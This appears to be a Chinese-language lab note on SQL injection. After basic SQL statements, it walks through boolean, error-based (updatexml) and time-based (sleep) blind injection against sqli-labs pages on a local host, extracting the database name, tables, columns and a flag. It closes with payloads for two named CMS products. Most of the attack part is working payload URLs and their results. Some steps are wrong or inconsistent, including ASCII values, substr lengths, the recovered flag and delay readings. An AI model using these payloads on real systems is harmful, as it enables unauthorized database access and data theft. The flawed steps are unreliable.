知识点
SQL注入-方式增删改查
SQL注入-布尔&延迟&报错
SQL注入-数据回显&报错处理
项目案例
SQL操作-增删改查
1、功能:数据查询
查询:
SELECT * FROM users
SELECT * FROM users where id=$id
2、功能:新增用户,添加新闻等
增加:INSERT INTO users(字段名) VALUES (数据)
增加的时候先看好字段,在填上对应的内容
INSERT INTO users(id,username,password) VALUES(15,'insertTest','123456');
再次查询会发现已经新增了一个用户
SELECT * FROM users
3、功能:删除用户,
删除:DELETE FROM users WHERE id=$id
DELETE from users WHERE id=15
再次查询会发现已经删除了该用户
4、功能:修改用户,修改文章等
修改:UPDATE users SET id=$id
UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
UPDATE users set username='updatTest',password='123456' WHERE id = 14
再次查询会发现已经修改了id=14的用户的账号密码
注意:在某些大型数据表中,是不允许写*的这种操作。14个数据运行8秒,如果上W条数据会多少秒呢?
为了避免这样的事情发生,在很多时候*号这个地方会被换成具体的内容进行限定,来达到查询速度更快。
SELECT username,password FROM users WHERE id=14; #显示id=14的username,password
#为了方便观看,把id也给加上
SELECT id,username,password FROM users WHERE id=14; #显示id=14的id,username,password
注入函数-盲注(布尔&报错&延迟)
盲注就是在注入过程中,获取的数据不能回显至前端页面。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况
有时候某些面试官会问你,当常用函数被禁用后该怎么办? 答案是换个函数~
!!!更多参数相关:https://www.jianshu.com/p/bc35f8dd4f7c
布尔盲注(逻辑判断)
常用函数:regexp,like,ascii,left,ord,mid
布尔:
and length(database())=7;
and left(database(),1)='p';
and left(database(),2)='pi';
and substr(database(),1,1)='p';
and substr(database(),2,1)='i';
and ord(left(database(),1))=112;
为真就显示页面,为假就不显示页面
判断注入
http://192.168.5.1:81/Less-8/index.php?id=1 -- -
http://192.168.5.1:81/Less-8/index.php?id=1 and 1=1 -- - #理论为真,事实为真,页面无变化
http://192.168.5.1:81/Less-8/index.php?id=1%20and%201=43 -- - #理论为假,事实为真,页面无变化。证明语句未执行
http://192.168.5.1:81/Less-8/index.php?id=2' -- - #页面无变化
http://192.168.5.1:81/Less-8/index.php?id=2' and 1=1 -- - #理论为真,事实为真,页面无变化
http://192.168.5.1:81/Less-8/index.php?id=2' and 1=2 -- - #理论为假,事实为假,页面发生变化。证明语句成功执行
判断字段
http://192.168.5.1:81/Less-8/index.php?id=2' order by 3 -- - #页面无变化。证明语句成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' order by 4 -- - #页面发生变化。证明语句未成功执行
判断回显位置
~~用union联合查找,~~会发现页面没有回显的地方,显示不出来。
这就提到今天所说的布尔盲注(逻辑判断)
查看数据库长度
http://192.168.5.1:81/Less-8/index.php?id=2' and (length(database())=1) -- - #页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and (length(database())=2) -- - #页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and (length(database())=3) -- - #页面发生变化。证明语句未成功执行
...
http://192.168.5.1:81/Less-8/index.php?id=2' and (length(database())=8) -- - #页面未发生变化。证明语句成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and (length(database())=9) -- - #页面发生变化。证明语句未成功执行
#判断出来数据库的长度为8位
http://192.168.5.1:81/Less-8/index.php?id=2' and (length(database())>9) -- - #页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and (length(database())>5) -- - #页面未发生变化。证明语句成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and (length(database())=1) -- - #页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and (length(database())=2) -- - #页面发生变化。证明语句未成功执行
…
http://192.168.5.1:81/Less-8/index.php?id=2' and (length(database())=8) -- - #页面未发生变化。证明语句成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and (length(database())=9) -- - #页面发生变化。证明语句未成功执行
到此判断出来数据库的长度为8位
查看数据库名字
长度为8位依次进行判断。
第一种写法left()
数据库第一位
left(database(),1)>‘a’ – - #页面未发生变化。证明语句成功执行
left(database(),1)>‘t’ – - #页面发生变化。证明语句未成功执行
left(database(),1)=‘e’ – - #页面未发生变化。证明语句成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),1)='a' -- - #页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),1)='b' -- - #页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),1)='c' -- - #页面发生变化。证明语句未成功执行
...
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),1)='s' -- - #页面未发生变化。证明语句成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),1)>'a' -- - #页面未发生变化。证明语句成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),1)>'t' -- - #页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),1)='e' -- - #页面未发生变化。证明语句成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),1)='a' -- - #页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),1)='b' -- - #页面发生变化。证明语句未成功执行
…
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),1)='s' -- - #页面未发生变化。证明语句成功执行
至此我们就拿到了数据库第一位是s。
第二位
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),2)='sa' -- - #页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),2)='sb' -- - #页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),2)='sc' -- - #页面发生变化。证明语句未成功执行
...
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),2)='se' -- - #页面未发生变化。证明语句成功执行
第三位就不演示了,也是同样的操作。
重复操作,拿到最后的结果security
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),1)='s' -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),2)='se' -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),3)='sec' -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),4)='secu' -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),5)='secur' -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),6)='securi' -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),7)='securit' -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and left(database(),8)='security' -- -
#security
第二种写法substr()
数据库第一位
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,1)='a' -- -#页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,1)='b' -- -#页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,1)='c' -- -#页面发生变化。证明语句未成功执行
...
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,1)='s' -- -#页面未发生变化。证明语句成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,1)='a' -- -#页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,1)='s' -- -#页面未发生变化。证明语句成功执行
数据库第一位是s
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,2)='sa' -- -#页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,2)='sb' -- -#页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,2)='sc' -- -#页面发生变化。证明语句未成功执行
...
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,2)='se' -- -#页面未发生变化。证明语句成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,2)='sa' -- -#页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,2)='se' -- -#页面未发生变化。证明语句成功执行
数据库第二位是se
第三位就不演示了,也是同样的操作。
重复操作,拿到最后的结果security
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,1)='s' -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,2)='se' -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,2)='sec' -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,2)='secu' -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,2)='secur' -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,2)='securi' -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,2)='securit' -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and substr(database(),1,2)='security' -- -
#拿到数据库security
第三种写法ascii/ord()
ascii制码表
https://www.sojson.com/asciitable.html
当使用二进制时,就要一个个记录一下
95是A
115是s
101是e
122是z
http://192.168.5.1:81/Less-8/index.php?id=2' and ascii(substr(database(),1,1))>65 -- -
#页面未发生变化。证明语句成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and ascii(substr(database(),1,1))>122 -- -
#页面发生变化。证明语句未成功执行
...
http://192.168.5.1:81/Less-8/index.php?id=2' and ascii(substr(database(),1,1))=115 -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and ascii(substr(database(),2,1))=101 -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and ord(substr(database(),1,1))>65 -- -
#页面未发生变化。证明语句成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and ascii(substr(database(),1,1))>122 -- -
#页面发生变化。证明语句未成功执行
...
http://192.168.5.1:81/Less-8/index.php?id=2' and ord(substr(database(),1,1))=115 -- -
http://192.168.5.1:81/Less-8/index.php?id=2' and ord(substr(database(),2,1))=101 -- -
查看表的长度
http://192.168.5.1:81/Less-8/index.php?id=2' AND ( length (( SELECT table_name FROM information_schema.TABLES WHERE table_schema = 'security' LIMIT 0, 1 )) =6) -- -
#注意这里的括号问题~
#这里写的是security的第1个表的长度为6,也就是emails
#为了减少操作,直接查flag了
http://192.168.5.1:81/Less-8/index.php?id=2' AND ( length (( SELECT table_name FROM information_schema.TABLES WHERE table_schema = 'security' LIMIT 1, 1 )) >1) -- -#页面未发生变化。证明语句功执行
http://192.168.5.1:81/Less-8/index.php?id=2' AND ( length (( SELECT table_name FROM information_schema.TABLES WHERE table_schema = 'security' LIMIT 1, 1 )) >4) -- -#页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' AND ( length (( SELECT table_name FROM information_schema.TABLES WHERE table_schema = 'security' LIMIT 1, 1 )) =4) -- -#页面未发生变化。证明语句功执行
#表的长度为4
查看表的名
102是f,108是l
http://192.168.5.1:81/Less-8/index.php?id=2' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 1,1),1,1)))>102 -- -#页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 1,1),1,1)))=102 -- -#页面未发生变化。证明语句功执行
#表的第一个为f
http://192.168.5.1:81/Less-8/index.php?id=2' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 1,1),2,1)))>108 -- -#页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 1,1),2,1)))=108 -- -#页面未发生变化。证明语句功执行
#表的第二个为l
...
#最后表为flag
查看字段的长度
http://192.168.5.1:81/Less-8/index.php?id=2' and (LENGTH((select table_name from information_schema.tables where table_schema="security" limit 1,1)))>4 -- -#页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and (LENGTH((select table_name from information_schema.tables where table_schema="security" limit 1,1)))=4 -- -#页面未发生变化。证明语句功执行
查看字段的名
http://192.168.5.1:81/Less-8/index.php?id=2' and (select ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1)))>102-- - #页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and (select ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1)))=102-- - #页面未发生变化。证明语句功执行
#字段的第一个为f
http://192.168.5.1:81/Less-8/index.php?id=2' and (select ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),2,1)))>102-- - #页面发生变化。证明语句未成功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and (select ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),2,1)))=108-- - #页面未发生变化。证明语句功执行
#字段的第二个为l
...
#最后字段为flag
查看字段数据
http://192.168.5.1:81/Less-8/index.php?id=2' and (ascii(substr((select flag from flag limit 0,1),1,1))) > 68 -- -#页面未发生变化。证明语句功执行
http://192.168.5.1:81/Less-8/index.php?id=2' and (ascii(substr((select flag from flag limit 0,1),1,1)))= 101 -- -#页面未发生变化。证明语句功执行
#e
http://192.168.5.1:81/Less-8/index.php?id=2' and (ascii(substr((select flag from flag limit 0,1),2,1)))= 49 -- -#页面未发生变化。证明语句功执行
#1
...
#e10adc3949ba59abbe56e057f20f883e
报错盲注(报错回显)
常用函数:floor,updatexml,extractvalue
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
这个0x7e是~的16进制,其他符号也可以,本身没有什么意义。部分情况下可能会看显示问题。
http://192.168.5.1:81/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,(version()),0x7e),1)-- -
#查看当前所在库
http://192.168.5.1:81/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,database(),0x7e),0)-- -
#查看全部库。group_concat(很遗憾也没有显示全)
http://192.168.5.1:81/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata limit 0,1),0x7e),0)-- -
#查看全部库。limit
http://192.168.5.1:81/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),0)-- -
http://192.168.5.1:81/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),0)-- -
#显示Subquery returns more than 1 row。 发现回显数据超过1行,无法显示。使用limit函数
http://192.168.5.1:81/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0)--+
#使用limit函数。获取表信息
http://192.168.5.1:81/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),0)--+
#limit 0,1 emails
http://192.168.5.1:81/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e),0)--+
#limit 1,1 flag
#获取全部表信息
http://192.168.5.1:81/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e,(select group_concat(table_name)),0x7e)from information_schema.tables where table_schema='security'),0x7e),1) -- -
#'~~emails,flag,referers,uagents,u' 很遗憾没有获得全部
#获取列字段名
http://192.168.5.1:81/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e,(select group_concat(column_name)),0x7e)from information_schema.columns where table_schema='security' and table_name='flag'),0x7e),1) -- -
#~~flag~~
#获取字段数据
http://192.168.5.1:81/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,(select flag from flag),0x7e),0) -- -
#~e10adc3949ba59abbe56e057f20f883 注意这个地方没有~证明没有回显全
https://www.cnblogs.com/zhengna/p/12445887.html
https://www.cnblogs.com/linyu51/p/16598303.html
https://blog.youkuaiyun.com/m0_51183537/article/details/122012622
解决没有显示全的问题.使用mid参数
mid(1,2,3):第一个参数是要提取的表名,第二个参数为起始位置,第三个参数为返回的字符个数
http://192.168.5.1:81/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,mid((select flag from flag),1,30),0x7e),0)-- -
#~e10adc3949ba59abbe56e057f20f88~ 注意这里经过测试,刚好可以显示出30位,多一位后边的~会被去掉。
http://192.168.5.1:81/Less-5/index.php?id=1' and updatexml(1,concat(0x7e,mid((select flag from flag),30,10),0x7e),0)-- -
#~83e~
#相结合就是flag e10adc3949ba59abbe56e057f20f8883e
时间盲注(延时判断)
常用函数:if,sleep
延迟:
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);
使用burp可以更好的看到时间~
#正常访问
http://192.168.5.1:81/Less-9/index.php?id=1 #延迟4秒
#判断注入
http://192.168.5.1:81/Less-9/index.php?id=1' #页面未发生改变
http://192.168.5.1:81/Less-9/index.php?id=65535' or 1=1 -- - #页面未发生改变
http://192.168.5.1:81/Less-9/index.php?id=65535' or 1=2 -- - #页面未发生改变,不确定是不是执行
#用sllep函数执行,
http://192.168.5.1:81/Less-9/index.php?id=1' and if(2>1,sleep(5),sleep(0)) #延迟9秒,证明语成功执行
#判断出来语句正常执行了
#查看数据库长度
http://192.168.5.1:81/Less-9/index.php?id=1' and if((length(database())>8),sleep(5),sleep(0)) #延迟4秒,证明语句未成功执行
http://192.168.5.1:81/Less-9/index.php?id=1' and if((length(database())=8),sleep(5),sleep(0)) #延迟9秒,证明语句未成功执行
#查看数据库的名字
http://192.168.5.1:81/Less-9/index.php?id=1' AND IF(LEFT((database()),1)='a',sleep(5),sleep(0))-- -#延迟4秒,证明语句未成功执行
http://192.168.5.1:81/Less-9/index.php?id=1' AND IF(LEFT((database()),1)='s',sleep(5),sleep(0))-- -#延迟9秒,证明语句成功执行
#第一位s
http://192.168.5.1:81/Less-9/index.php?id=1' AND IF(LEFT((database()),2)='se',sleep(5),sleep(0))-- -#延迟4秒,证明语句未成功执行
#第二位se
...
#security
https://www.cnblogs.com/wwcdg/p/15913937.html
经过测试本地正常发包就有4m的延迟。也就意味着如果sleep(5)实际的时间会是9m
注入条件-数据回显&错误处理
基于延时:都不需要
and if(1=1,sleep(5),0)
基于布尔:有数据库输出判断标准
and length(database())=6
基于报错:有数据库报错处理判断标准
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
.mysql_error()
CMS案例-插入报错&删除延迟
1、xhcms-insert报错
' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
xhcms1.0.
2、kkcms
and if(1=1,sleep(5),0)
or if(1=1,sleep(5),0)
or if(ord(left(database(),1))=107,sleep(2),0)
拉出来xhcms,全局搜insert
访问不到文件
寻找路由规则
结合得到
?r=submit
寻找前端显示页面
?=submits
找到页面